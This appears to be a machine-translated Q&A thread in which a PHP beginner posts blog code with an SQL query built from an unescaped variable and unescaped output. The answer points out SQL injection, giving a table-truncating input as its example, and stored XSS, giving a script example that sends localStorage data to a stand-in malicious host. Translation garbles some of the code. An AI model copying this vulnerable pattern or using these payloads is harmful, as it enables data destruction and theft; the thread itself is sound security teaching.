安全地编辑博客文章

时间:2017-10-10 05:43:07

标签: php

所以,我是PHP和SQL的初学者。我正在创建一个简单的博客。我有index.php,你发布博客和blog.php,它显示博客文章。我希望能够在blog.php上的每篇博客文章下添加一个编辑链接。单击此编辑链接后,您可以在另一页上编辑博客。我想知道最安全的方法是什么,不使用框架。这是blog.php上的代码:

<?php include("session_start.php")?>

<?php

$sql = "SELECT * FROM posts WHERE user_name='$user_name' ORDER BY post_date DESC";

$result = mysqli_query($connection, $sql) or die(mysqli_error($connection));

?>

<html>
    <head>
        <title>Blog</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" >

<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" >

<link rel="stylesheet" href="styles.css" >

<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

    </head>
    <body>

<div class="container">
  <div class="row"> 

<div class="align-right">  
<a href='index.php'>Post a Blog</a> | <a href='account_settings.php'>Account Settings</a> | <a href='logout.php' onclick="return confirm('Are you sure?')">Logout</a>
</div>  

<h1>Blog</h1>

<?php
while($column = mysqli_fetch_assoc($result)){
?>
<h2><?php echo $column["post_title"]?></h2>
<div class="view-post-content"><?php echo $column["post_content"]?></div>
<p class="category">Category: <?php echo $column["post_category"]?></p>
<p>This post was written <?php echo $column["post_date"]?>.</p>
<?php
}
?>

</div>
</div>

</body>
</html>

<?php include "footer.php";?>

1 个答案:

答案 0 :(得分:0)

一言不发,但会尝试根据您的代码示例和一些基础知识进行点击。

  1. SQL注入

    $ sql =“SELECT * FROM posts WHERE user_name ='$ user_name'ORDER BY post_date DESC”;

    猜猜$user_name = "'TRUNCATE posts;"

  2. 发生了什么
  3. XSS(跨站点脚本) 例如,如果您应该知道恶意用户可能会注入客户端脚本,那么当您显示具有以下值的已保存帖子时:

    $ post ='哇,很酷的博客! &LT;脚本&gt; $ .post('h t t p://malicious.org/',{localStorage.STOLE_USER_DATA_N_PASSWORDS})&lt; /脚本&GT;'

  4. 存储加密的安全数据(不要在原始数据库中保存DB中的密码) 总是隐藏它们 http://php.net/manual/en/function.crypt.php

  5. 还有很多其他的东西,甚至提到它都会是一本书。 但是如果你只是玩这几个提示会帮助你。

    当然google,阅读,谷歌...... :)